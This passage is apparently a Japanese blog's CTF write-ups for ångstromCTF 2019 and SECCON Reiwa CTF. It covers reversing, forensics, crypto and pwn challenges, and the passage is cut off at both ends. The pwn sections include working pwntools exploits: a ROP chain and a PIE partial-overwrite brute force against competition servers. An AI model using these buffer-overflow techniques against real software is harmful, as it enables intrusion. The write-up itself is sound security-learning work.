  0x0040117e                 c3  ret

(中略)

  0x004013fd                 5c  pop rsp
  0x004013fe               415d  pop r13
  0x00401400               415e  pop r14
  0x00401402               415f  pop r15
  0x00401404                 c3  ret

  0x004013ff                 5d  pop rbp
  0x00401400               415e  pop r14
  0x00401402               415f  pop r15
  0x00401404                 c3  ret

  0x00401401                 5e  pop rsi
  0x00401402               415f  pop r15
  0x00401404                 c3  ret

  0x00401403                 5f  pop rdi
  0x00401404                 c3  ret

最初のpopには、0x00401403 のものがが使えそう。
しかし2つ目の rdi, rsi の pop に該当するものは無さそうです…。

ここまでが競技中。途方に暮れて終わりました。authorization, addBalanceまでは飛べてそうだったので悔しきかな。

どうやら、 0x00401401 の rsi, r15 のpopを使って組み直すようです。

0x30 + 0x8 | buffer
       0x8 | address authorize()
       0x8 | pop rdi
       0x8 | arg addBalance pin()  # rdi
       0x8 | address addBalance()
       0x8 | pop rdi
       0x8 | arg flag pin()  # rdi
       0x8 | pop rsi, r15
       0x8 | arg flag secret()  # rsi
       0x8 | buffer  # r15
       0x8 | address flag()

これをコードに落とすとこんな感じ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'shell.actf.co'
port = 19400

authorize_addr = 0x00401196
addBalance_addr = 0x004011ab
flag_addr = 0x004011eb
addBalance_pin = 0xdeadbeef
flag_pin = 0xba5eba11
flag_secret = 0xbedabb1e

def attack(payload):
    r = remote(host, port)
    print(r.recvuntil(b'3 - Grant access'))
    r.sendline(b'1')
    r.sendline(payload)
    res = r.recvall()
    print(res)
    r.close()
    if b'actf{' in res:
        return True
    return False

buffer = 0x30 + 0x8
address_rdi = 0x00401403
address_rsi_r15 = 0x00401401

payload = b'a' * buffer
payload += p64(authorize_addr)
payload += p64(address_rdi)
payload += p64(addBalance_pin)
payload += p64(addBalance_addr)
payload += p64(address_rdi)
payload += p64(flag_pin)
payload += p64(address_rsi_r15)
payload += p64(flag_secret)
payload += b'a' * 8
payload += p64(flag_addr)
print(b'payload: ' + payload)
attack(payload)

実行結果

$ python solve.py 
b'payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11@\x00\x00\x00\x00\x00\x03\x14@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xab\x11@\x00\x00\x00\x00\x00\x03\x14@\x00\x00\x00\x00\x00\x11\xba^\xba\x00\x00\x00\x00\x01\x14@\x00\x00\x00\x00\x00\x1e\xbb\xda\xbe\x00\x00\x00\x00aaaaaaaa\xeb\x11@\x00\x00\x00\x00\x00'
[+] Opening connection to shell.actf.co on port 19400: Done
b'--== ROPE CHAIN BLACK MARKET ==--\nLIMITED TIME OFFER: Sending free flag along with any purchase.\nWhat would you like to do?\n1 - Set name\n2 - Get user info\n3 - Grant access'
[+] Recieving all data: Done (136B)
[*] Closed connection to shell.actf.co port 19400
b'\nAuthenticated to purchase rope chain, sending free flag along with purchase...\nactf{dark_web_bargains}Segmentation fault (core dumped)\n'

また、他の方のwrite-upを見ていると、chainなんか組まずに flag 関数のflag表示処理部分にいきなり飛ばしてやるというのをよく見ました。ここです。

0x00401231      488d3d2f0e00.  lea rdi, qword str.bin_cat_flag.txt ; 0x402067 ; "/bin/cat flag.txt"

ここに飛ぶと、面倒な値チェックをスキップできてflagだけ表示できるので良さそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'shell.actf.co'
port = 19400

cat_flag_addr = 0x00401231

def attack(payload):
    r = remote(host, port)
    print(r.recvuntil(b'3 - Grant access'))
    r.sendline(b'1')
    r.sendline(payload)
    res = r.recvall()
    print(res)
    r.close()
    if b'actf{' in res:
        return True
    return False

buffer = 0x30 + 0x8
payload = b'a' * buffer
payload += p64(cat_flag_addr)
print(b'payload: ' + payload)
attack(payload)

実行結果

$ python solve2.py 
b'payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1\x12@\x00\x00\x00\x00\x00'
[+] Opening connection to shell.actf.co on port 19400: Done
b'--== ROPE CHAIN BLACK MARKET ==--\nLIMITED TIME OFFER: Sending free flag along with any purchase.\nWhat would you like to do?\n1 - Set name\n2 - Get user info\n3 - Grant access'
[+] Recieving all data: Done (48B)
[*] Closed connection to shell.actf.co port 19400
b'\nactf{dark_web_bargains}Bus error (core dumped)\n'

これだけで良かったんですねー。全然思いつかなかった…。

[Binary] Pie Shop (100pt)

I sure love pies (source)!

/problems/2019/pie_shop/

nc shell.actf.co 19306

Hint

  1. What does it mean if PIE is enabled on a binary?

  2. 20 bits is not that much.

提供されたソースはこちら。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
    system("/bin/cat flag.txt");
}

void get_pie() {
    printf("What type of pie do you want? ");

    char pie[50];
    gets(pie);

    if (strcmp(pie, "apple") == 0) {
        printf("Here's your pie!\n");
        printf("      _,..---..,_\n");
        printf("  ,-\"`    .'.    `\"-,\n");
        printf(" ((      '.'.'      ))\n");
        printf("  `'-.,_   '   _,.-'`\n");
        printf("    `\\  `\"\"\"\"\"`  /`\n");
        printf("      `\"\"-----\"\"`\n");
    } else {
        printf("Whoops, looks like we're out of that one.\n");
    }
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("Welcome to the pie shop! Here we have all types of pies: apple pies, peach pies, blueberry pies, position independent executables, pumpkin pies, rhubarb pies...\n");
    get_pie();

    return 0;
}

またもや flag() 関数を呼ぶ必要がありそうですが、普通に実行しても呼ばれない。
また、"What type of pie do you want?" の問に "apple" と答えたときだけイラストを出力してくれるようです。

今回は get_pie() 関数の gets(pie) 部分の BufferOverflow を利用して flag 関数を呼び出します。

各関数のアドレスはこちら

[0x000010b0]> afl
(中略)
0x000011a9    1 19           sym.flag
0x000011bc    4 166          sym.get_pie
0x00001262    1 133          sym.main

なんですが、Hintを見ると PIE というのが鍵になりそう。
位置独立コード - Wikipedia

@kanata201612 kanataさんのwikiにわかりやすい説明が。

CTF Pwn - A painter and a black cat

ASLRが有効な場合、スタック領域・ヒープ領域や共有ライブラリが置かれるアドレスは一定の範囲の中でランダムに決められる。 一方、実行ファイルそのものが置かれるアドレスは基本的には固定であるが、PIE (Position-Independent Executables) となるようにコンパイル・リンクすることでランダムなアドレスに置けるようにできる。

ということで、ASLRと同様にランダムなアドレスに配置される仕組みのようです。今回のファイルを調べてみました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
# check ELF
e = ELF('pie_shop')
print('PIE: ' + str(e.pie))
print('ENDIAN: ' + str(e.endian))

実行結果

(略)
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
PIE: True
ENDIAN: little

見事にPIEが有効になっていますね。

さきほどの kanata さんのページの CTF Pwn - A painter and a black cat
に、Partial overwrite という攻撃手法が紹介されています。

ASLRおよびPIEが有効な場合、.textセクションもランダム化される。 しかしリトルエンディアン環境においては、リターンアドレスなどの下位バイトのみを書き換えることで付近のコードにジャンプさせることが可能となる。

トルエンディアンの場合0x12345678はスタック上で 0x78563412と格納されている。 よってBOFなどにより例えば0x78の下位2バイトのみを書き換える事で、近いアドレスにジャンプさせる事ができる。 飛ばせる先が限られている(他の手法と組み合わせ て使う場合が多い)、リトルエンディアンでしか使えない。

ということで、今回はリトルエンディアンであること、あとは下位バイトのみを書き換える = Hintの"20 bits is not that much."に合致しそう。

というところまでは見たのですが、コレ以上深追いせず。

他の方のwrite-up

結局期待したアドレスにflag関数が配置されるまで、同じアドレスを指定してブルートフォースしているっぽいwrite-upばかりであった。

私もこの方法を試したが時間内に見つからなかった。同じことを試したはず…。しかし結構解けてる人がいる🤔🤔🤔

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'shell.actf.co'
port = 19306

addr_flag = 0x11a9

def attack(payload):
    r = remote(host, port)
    print(r.recvuntil(b'What type of pie do you want? '))
    r.sendline(payload)
    res = r.recvall()
    print(res)
    r.close()
    if b'actf{' in res:
        return True
    return False

# check ELF
e = ELF('pie_shop')
print('PIE: ' + str(e.pie))
print('ENDIAN: ' + str(e.endian))

buffer = 0x40 + 0x8
counter = 0
while True:
    print('counter: ' + str(counter))
    payload = b'a' * buffer
    payload += p16(addr_flag)
    print(payload)
    if attack(payload):
        break
    counter += 1

競技時間終了後、flag出た。上記スクリプト実行結果

counter: 11794
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa9\x11'
[+] Opening connection to shell.actf.co on port 19306: Done
b'Welcome to the pie shop! Here we have all types of pies: apple pies, peach pies, blueberry pies, position independent executables, pumpkin pies, rhubarb pies...\nWhat type of pie do you want? '
[+] Recieving all data: Done (105B)
[*] Closed connection to shell.actf.co port 19306
b"Whoops, looks like we're out of that one.\nactf{a_different_kind_of_pie}\nSegmentation fault (core dumped)\n"

競技終了後、1万回以上の試行で出ました…。運が悪かったのか。時間は測り忘れた。
nc ではなく shell server 上でやろうか悩んだが、プログラムを組むのが手軽だった nc の方でやってしまった。shell server 上にスクリプト送って実行 or ワンラインコマンド書いて実行のほうが短時間で結果が出たかな?

感想

他にも手を付けていたものはあったが、まだまだ理解が足りなくて頭の整理が追いつかなかった。残念。
今まで理解が不十分なまま雰囲気で解いていたものへの理解が進んだり、思っていた解き方と違うけど「確かに」という解き方があったりして、とても勉強になった。
そして基礎からやっぱちゃんとやらないとなー(特にBinary)というのがよーくわかったので、ハリネズミ本&演習を読み進めようかな。

SECCON 令和 CTF write-up

SECCON 令和 CTF に参加してみました。

f:id:kusuwada:20190501021048p:plain

なんと実質1問しか解けなかったのでwrite-up書くか悩んだのですが記念に載せておきます。

f:id:kusuwada:20190501021044p:plain

2時間しかないのでジョーク系の問題かと思っていたのですが、普通のCTFでした。結局Miscしか解かなかった…。

Crypto問題はなし、Webはexeファイル問題のみだったので諦め、ForensicはQRコード復元問題かと思った(が実際ちょっと違ったみたい)ので時間内は無理と判断し諦め、Pwn/Binaryは解けてる人が少なそうなので諦め、、、としていたら結局Miscしか残らなかったという。

参加人数は「フラグの例は?」を解いた人数が850人くらいでした。予想より多かったのか、アクセスが集中したようで、最初1時間くらいは繋がりにくかったみたい。その影響でか終了時間が1H延びてました。

[Misc] 零は?

nc zerois-o-reiwa.seccon.jp 23615

指定のホストに接続してみると

$ nc zerois-o-reiwa.seccon.jp 23615
[1/100]
0=78-?
?=78
[2/100]
0=84+96-?
?=180
[3/100]
0=?+59-83-65
?=
Timeout, bye.

どうやら100問でるみたい。
結構タイムアウト早いし、どんどん式が長くなっていきそうなので手動は無理っぽい。

汚いコードですが、ちょっとやってみて

  • 全部で100問っぽい
  • +, -, *演算子のみ出てきそう
  • 0割りのパターンが出てくる(この場合は解答を0にした)

考慮して組みました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'zerois-o-reiwa.seccon.jp'
port = 23615

def calc(q):
    return eval(q)

# main
r = remote(host, port)
for i in range(101):
    print('------' + str(i) + '--------')
    question = r.recvline_contains(['0=', 'SECCON{']).decode()
    if 'SECCON{' in question:
        print(question)
        break
    print('question: ' + question)
    question = question[2:]

    # +,- 演算子と 数値・?・* 演算子のパートに分ける
    parts = []
    d = ''
    for c in question:
        if c == '+' or c == '-':
            if d != '':
                parts.append(d)
                d = ''
            parts.append(c)
        else:
            d += c
    parts.append(d)
    
    for i in range(len(parts)):
        # ? が含まれない部分の計算
        if '?' in parts[i]:
            if i==0:
                answer = -calc(''.join(parts[1:]))
            elif i>0 and parts[i-1]=='-':
                answer = calc(''.join(parts[:i-1] + parts[i+1:]))
            else:
                answer = -calc(''.join(parts[:i-1] + parts[i+1:]))
        # * 演算子が含まれる場合は、? 以外の演算をし、最後に割る
        if '*' in parts[i] and '?' in parts[i]:
            muls = parts[i].split('*')
            for m in muls:
                if m == '0':
                    answer = 0
                elif m != '?':
                    answer = answer // int(m)
    answer = str(answer)
    print('answer: ' + answer)
    r.sendline(answer.encode())

実行結果

------0--------
question: 0=?-59
answer: 59
------1--------
question: 0=85+79-?
answer: 164
------2--------
question: 0=61+?*62-3161
answer: 50

(略)

------97--------
question: 0=60-70*24+30*51-83+52+64*35-8+34-40*34-59*76+42+62*5-84-14*40+48+96-28*65-67*98+2+27-8*89+36-44*70+38-41*25*32-86+87*61-51+98+11-16*68-91*43+53+47*8-49+32-32*60-11+73*94+17-83*99*81-74+96*62+24-2*24-92+21-2*37+52+81-72*62+87-19*31-51+55*82-43+73*19+80*45-10*64+47-74-50+99*50*21+17-89*4+?
answer: 595488
------98--------
question: 0=68+97-84*41*57+90-7-32+25*90+87*24-9+96*40-29-28*78+97-62+3*84-47+89*86-52*66+49+41-75*93*23+92-94+93*60-98-82*43+82+65-39*48-38*8+26-18*74+17*19+53-69*73+82-31+24*57-71+82-42*39+59-34*5*58+71-58-30*86+62*42+54-9-54*71+32+89-36*5+47*0-93-76+53*54-98*63+74*50+7-51+81*19-31-?*0+78-48+82+364076
answer: 0
------99--------
question: 0=59*96+63-43-77+44*85*63+16-99-41+3*20-34+81*85-47*49+12*14-64+5-91*70+22+36*64-5+78-7*36*20+34-91*84+60-17*16-61+61*18-22+67-88+82*4+48*83-31*46+28-31+85*9-76+82*74-68*32-69+22+64*76-21*40+66-31*49+36-39-79*67+10-51+71*90+28-9*43-20*32+25+83*71-91+41*51-82+81-64*27*18-74+13-10*98+16-75+0*?-215736
answer: 0
------100--------
The flag is SECCON{REIWA_is_not_ZERO_IS}.

最後の方の問題は結構な長さの数式でした。

ångstromCTF 2019 write-up

Twitter見てるとなんか沢山参加している人がいそうだったので、高校生向けなのかなーと思って遠慮していた ångstromCTF に挑戦してみました。今回もぼっち参加です。

ångstromCTF 2019

f:id:kusuwada:20190425144628p:plain:w300

サイトがかっちょいい!
今回も低得点帯の問題ばかりになってしまいましたが、備忘録も兼ねてwrite-up書いておきます。
4月20日 9:00 JST ~ 25日 9:00 JST の丸5日間開催されていたようです。私が「やってみよう」と思ったのが 4月23日 だったので、実質2日ちょいの参加になりました。

戦績はこちら。

f:id:kusuwada:20190425150059p:plain

630pt, 237位 / 1374チーム (1問以上解いたチーム数) でした。

f:id:kusuwada:20190425150104p:plain

今までに比べてRevを頑張った一方、Webが残念な感じです。
面白い問題が多かったとのことで、もうちょっとWebに時間が割けると良かったなーと。皆さんのwrite-upみて復習します。

いろんな形で自分(チーム)のグラフを見せてくれるのも面白い。いつ頃始めて、どう得点を取っていったかがわかるグラフ。自分のだけではなく他のチームのも見れます。

f:id:kusuwada:20190425145133p:plain

手応えとしては高校生育成目的ということもあり、解ける問題もあって嬉しかったです。また、最近他CTFで使った手法や勉強した内容が出てきたものもあり、解けるとめっちゃ嬉しかったです!!
一方、いままでは「うん、わからーん(ノ`△´)ノ 」と投げる問題が多かったので、「あ、これ見たことあるやつだ!」とか「こうやったら解けそう(なんだけど何故か通らない or 根気がなくてできない)」という問題がちょいちょい出てきて、ちょっと成長を感じるとともに悔しい問題も多かったです。。。

そもそもこのボリューム、一人では全然見きれなかった。でもチーム参加だと自分では何も解けなかったに違いないので、今後チーム参加するかというとそれはそれで悩ましい。

[Reversing] Intro to Rev (10pt)

Many of our problems will require you to run Linux executable files (ELFs). This problem will help you figure out how to do it on our shell server. Use your credentials to log in, then navigate to /problems/2019/intro_to_rev. Run the executable and follow its instructions to get a flag!

Hint

ELF files are run using ./filename. You might also want to look into the cd and ls commands if you aren't familiar with Linux.

shellにログインし、指定のpathに移動、実行ファイルを実行する。

$ cd /problems/2019/intro_to_rev
team4639@actf:/problems/2019/intro_to_rev$ ls
flag.txt  intro_to_rev
team4639@actf:/problems/2019/intro_to_rev$ ./intro_to_rev
Welcome to your first reversing challenge!

If you are seeing this, then you already ran the file! Let's try some input next.
Enter the word 'angstrom' to continue:
angstrom
Good job! Some programs might also want you to enter information with a command line argument.

When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string.

To get the flag for this problem, run this file again with the arguments 'binary' and 'reversing' (don't put the quotes).

ということで、引数に binary, reversing を入れて再実行。

 ./intro_to_rev binary reversing
Welcome to your first reversing challenge!

If you are seeing this, then you already ran the file! Let's try some input next.
Enter the word 'angstrom' to continue:
angstrom
Good job! Some programs might also want you to enter information with a command line argument.

When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string.

Good job, now go solve some real problems!
actf{this_is_only_the_beginning}

[Reversing] I Like It (40pt)

Now I like dollars, I like diamonds, I like ints, I like strings. Make Cardi like it please.

/problems/2019/i_like_it

Hint

Pop open a dissassembler or decompiler and check out the comparisons.

提供される実行ファイルを実行してみます。

$ ./i_like_it
I like the string that I'm thinking of:

何を考えているのか答えろ、だそうです。
radare2で解析。main関数にこのときの入力をチェックする箇所がありました。

|           0x004007ff      bea1094000     mov esi, str.okrrrrrrr      ; 0x4009a1 ; "okrrrrrrr"
|           0x00400804      4889c7         mov rdi, rax
|           0x00400807      e864feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|           0x0040080c      85c0           test eax, eax
|       ,=< 0x0040080e      7414           je 0x400824

最初の問に対しては、直接文字列比較をしているので okrrrrrrr が答え。
コレを入力すると、次の問 I like two integers that I'm thinking of (space separated): が聞かれる。この部分の処理については下記を参照。

|           0x0040086e      8b55c8         mov edx, dword [local_38h]
|           0x00400871      8b45cc         mov eax, dword [local_34h]
|           0x00400874      01d0           add eax, edx
|           0x00400876      3d88000000     cmp eax, 0x88               ; 136
|       ,=< 0x0040087b      751a           jne 0x400897
|       |   0x0040087d      8b55c8         mov edx, dword [local_38h]
|       |   0x00400880      8b45cc         mov eax, dword [local_34h]
|       |   0x00400883      0fafc2         imul eax, edx
|       |   0x00400886      3dc70e0000     cmp eax, 0xec7              ; 3783
|      ,==< 0x0040088b      750a           jne 0x400897

上記を解読すると、下記連立方程式を満たすような a,b の組み合わせが答え。

  • a + b = 136
  • a * b = 3783

3783 = 3 * 13 * 97 なので、 a, b = 39, 97
これらを入力すると、flagが出ました。

$ ./i_like_it
I like the string that I'm thinking of:
okrrrrrrr
I said I like it like that!
I like two integers that I'm thinking of (space separated):
39 97
I said I like it like that!
Flag: actf{okrrrrrrr_39_97}

[Reversing] One Bite (60pt)

Whenever I have friends over, I love to brag about things that I can eat in a single bite. Can you give this program a tasty flag that fits the bill?

/problems/2019/one_bite

Hint

What else can be done with a single bite?

まずは提供されたバイナリを動かしてみます。

./one_bite 
Give me a flag to eat: 
cookie
That didn't taste so good :(

クッキーはお気に召さない様子。
radare2でアセンブラを確認します。main関数の大事そうなところだけ。

|           0x004006e2      e899feffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x004006e7      c745b4000000.  mov dword [local_4ch], 0
|       ,=< 0x004006ee      eb1c           jmp 0x40070c
|      .--> 0x004006f0      8b45b4         mov eax, dword [local_4ch]
|      :|   0x004006f3      4898           cdqe
|      :|   0x004006f5      0fb64405c0     movzx eax, byte [local_40h + rax]
|      :|   0x004006fa      83f03c         xor eax, 0x3c
|      :|   0x004006fd      89c2           mov edx, eax
|      :|   0x004006ff      8b45b4         mov eax, dword [local_4ch]
|      :|   0x00400702      4898           cdqe
|      :|   0x00400704      885405c0       mov byte [rbp + rax - 0x40], dl
|      :|   0x00400708      8345b401       add dword [local_4ch], 1
|      :|   ; CODE XREF from main (0x4006ee)
|      :`-> 0x0040070c      8b45b4         mov eax, dword [local_4ch]
|      :    0x0040070f      4863d8         movsxd rbx, eax
|      :    0x00400712      488d45c0       lea rax, qword [local_40h]
|      :    0x00400716      4889c7         mov rdi, rax
|      :    0x00400719      e832feffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|      :    0x0040071e      4839c3         cmp rbx, rax
|      `==< 0x00400721      72cd           jb 0x4006f0
|           0x00400723      48c745b82008.  mov qword [local_48h], str.HZGUcHTURWcUQc_SUR_cHSc_YcOU_WA ; 0x400820 ; "]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA"
|           0x0040072b      488b55b8       mov rdx, qword [local_48h]
|           0x0040072f      488d45c0       lea rax, qword [local_40h]
|           0x00400733      4889d6         mov rsi, rdx
|           0x00400736      4889c7         mov rdi, rax
|           0x00400739      e852feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|           0x0040073e      85c0           test eax, eax
|       ,=< 0x00400740      750c           jne 0x40074e

どうやら入力値を 0x3c と一文字ずつxorして、最終的に ]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA と一致すれば良さそう。

#!/usr/bin/env python3

word = ']_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA'
xor_code = 0x3c

flag = b''
for w in word:
    flag += bytes([ord(w) ^ xor_code])
print(flag)

実行結果

$ python solve.py 
b'actf{i_think_im_going_to_be_sick}'

[Misc] Survey (10pt)

We have a short survey for you to fill out for a flag! Even though it's a single challenge, we encourage every individual to submit a response.

リンク先に飛ぶと、アンケートが。回答するとFlagが貰えました。

f:id:kusuwada:20190425151135p:plain

[Misc] The Mueller Report (20pt)

The redacted version of the Mueller report was finally released this week! There's some pretty funny stuff in there, but maybe the report has more beneath the surface.

Hint

You won't be able to use Ctrl+F to find this Russian secret, try some command line functions related to strings and searches instead.

DLできるファイルは full-mueller-report .pdf。1.6MBもある。Hintにstringsコマンドで行けるっぽいことが書いてあるので、そのまま実行。

$ strings full-mueller-report.pdf | grep actf{
actf{no0o0o0_col1l1l1luuuusiioooon}

[Misc] IRC (20pt)

We have an IRC channel, #angstromctf on freenode! Join us to ask questions, have fun, and get a flag.

IRCへのリンクがあるので、たどって #angstromctf チャネルにログイン。ログインすると、pinしてあるっぽいchannelの説明にflagが。

f:id:kusuwada:20190425151213p:plain

[Misc] Blank Paper (30pt)

Someone scrubbed defund's paper too hard, and a few of the bytes fell off.

DLできるのは壊れたpdf。問題文によるとこすりすぎてbyteがちょっと落ちてるらしいので、修復する必要がある。
バイナリを見てフォーマットを確認して・・・というのが良さそうだけども、解けている人が多かったのでWebのPDF修復ツールかなんかでできるのではないかとググったらあった。

オンラインでPDFファイルを修復。PDF修復の無料ツール

ここにDLした壊れたファイルを投げると修復してくれ、PDFが見えるように。PDF内にFlagがありました。

f:id:kusuwada:20190425151244p:plain

[Misc] Paper Bin (40pt)

defund accidentally deleted all of his math papers! Help recover them from his computer's raw data.

Hint

File carving

DLするのは paper_bin.dat

$ file paper_bin.dat 
paper_bin.dat: data

これ7MBもある。
Hintの File carving でググった所、Forensic関係の用語であることがわかった。

File carving - Wikipedia

コレ関連でツールを探すと、scalpelというのが使えそう。なんとkali linuxには標準装備で入っていたため、kaliで使ってみる。
まずはconfig (/etc/scalpel/scalpel.conf) をいじって、可能性の有りそうなファイルフォーマットのコメントアウトを外し、解析対象とします。今回は画像系とdoc, pdfあたりを外しておきました。
事前に strings paper_bin.dat | grep {拡張子} みたいな感じで探しておいて引っかかったのを対象にしても良いかもしれません。

$ scalpel paper_bin.dat -o output

処理が終わると、pdfファイルが20個対象で抽出されました。何かの論文っぽいものが多かったのですが、一つだけファイルが壊れてて見られないものがあり。コレをさっきの Blank Paper のときのサイトに投げると修復してくれ、こちらもPDF中にFalgがありました。

f:id:kusuwada:20190425151303p:plain

[Misc] Paper Trail (50pt)

Something is suspicious about defund's math papers. See if you can find anything in the network packets we've intercepted from his computer.

今度はpcapファイルがDLできる。paper_trail.pcapng
Wiresharkで開いて中身を確認してみる。幸い、75行しかありません。見てみると、IRCプロトコルのmessageに何やら毎回メッセージがplain textで書かれているようなので、pcapファイルをそのままstringコマンドで見てみます。

$ strings paper_trail.pcapng | grep ec2-18-209-123-192.compute-1.amazonaws.com
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :I have to confide in someone, even if it's myself
F:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :my publications are all randomly generated :(
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :c
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :t
Z:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :f
*:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :{
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :f
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :k
R:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :e
!:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :_
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :m
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :t
a:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :h
1:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :_
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :p
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :p
$,q:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :e
$4B:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :r
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :s
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :}

縦読みするとflag。actf{fake_math_papers}

[Web] Control You (20pt)

Only those who give us the flag are exempt from our control.

Hint

Your browser executes code when you're viewing a web page. Is it possible to see that code?

リンク先に飛んでみると、やばいページ出てきた.

f:id:kusuwada:20190425151411p:plain

この背景、うねうね動いてる。目と脳に悪すぎる…。催眠術とか言ってるし。胎教にもすこぶる悪そう。
このサイトのソースを見てみると、function_stop()にflagが。

<!DOCTYPE html>
<html>
<head>
   <title>Hypnotization</title>
</head>
<body style="background: url(https://66.media.tumblr.com/15d3f53cb56f04dba66dfd53aed24b7f/tumblr_o87xi4XjVB1twd8ddo1_400.gif);">
    <div style="text-align: center; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: red; font-family: 'Comic Sans MS', sans-serif;">
        <h1 style="background-color: blue;">Hypnotization in progress...</h1>
        <h2 style="color: green; background-color: yellow;">To stop hypnotization enter the flag below:</h2>
        <input type="password" id="flag" style="font-size: 3em;"><br>
        <button type="button" onclick="stop()" style="background: blue; border: 0.5em solid red; font-size: 2em; font-family: 'Comic Sans MS', sans-serif; margin-top: 1em; cursor: pointer;">Stop Hypnotization</button>
    </div>
    <script>
   function stop() {
       if (flag.value === "actf{control_u_so_we_can't_control_you}") {
           document.body.style.background = "red";
       }
   }
   </script>
</body>
</html>

ちゃんとサイトにフラグ入れたら止まった。良かったよかった。

[Crypto] Classy Cipher (20pt)

Every CTF starts off with a Caesar cipher, but we're more classy.

DLできるスクリプトclassy_cipher.py

from secret import flag, shift

def encrypt(d, s):
    e = ''
    for c in d:
        e += chr((ord(c)+s) % 0xff)
    return e

assert encrypt(flag, shift) == ':<M?TLH8<A:KFBG@V'

これはシフト暗号。シフト暗号の結果が :<M?TLH8<A:KFBG@V
シフトの数が不明ですが、たかだか256個なので256個分全部ずらしてみてflagが出るか確認。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

cipher = ':<M?TLH8<A:KFBG@V'

def decrypt(d, s):
    e = ''
    for c in d:
        e += chr((ord(c)+s) % 0xff)
    return e

for shift in range(0xff):
    plain = ''
    for c in cipher:
        plain += decrypt(c, shift)
    if 'actf{' in plain:
        print(plain)
        break

実行結果

$ python solve.py 
actf{so_charming}

[Crypto] Really Secure Algorithm (30pt)

I found this flag somewhere when I was taking a walk, but it seems to have been encrypted with this Really Secure Algorithm!

Hint

Now that I think about it, that's probably not what RSA stands for...

提供されるファイルは以下 really_secure_algorithm.txt

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349

典型的なRSA暗号の条件が与えられている。

n = p * q
d = inverse(e, (p-1)*(q-1))
plain = pow(c, d, n)

で求められるので、平文もこの条件から求まる。

#!/usr/bin/env python3

from Crypto.Util.number import inverse

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349

n = p * q
d = inverse(e, (p-1)*(q-1))

plain = pow(c, d, n)
flag = bytes.fromhex(hex(plain)[2:]).decode('ascii')
print(flag)

実行結果

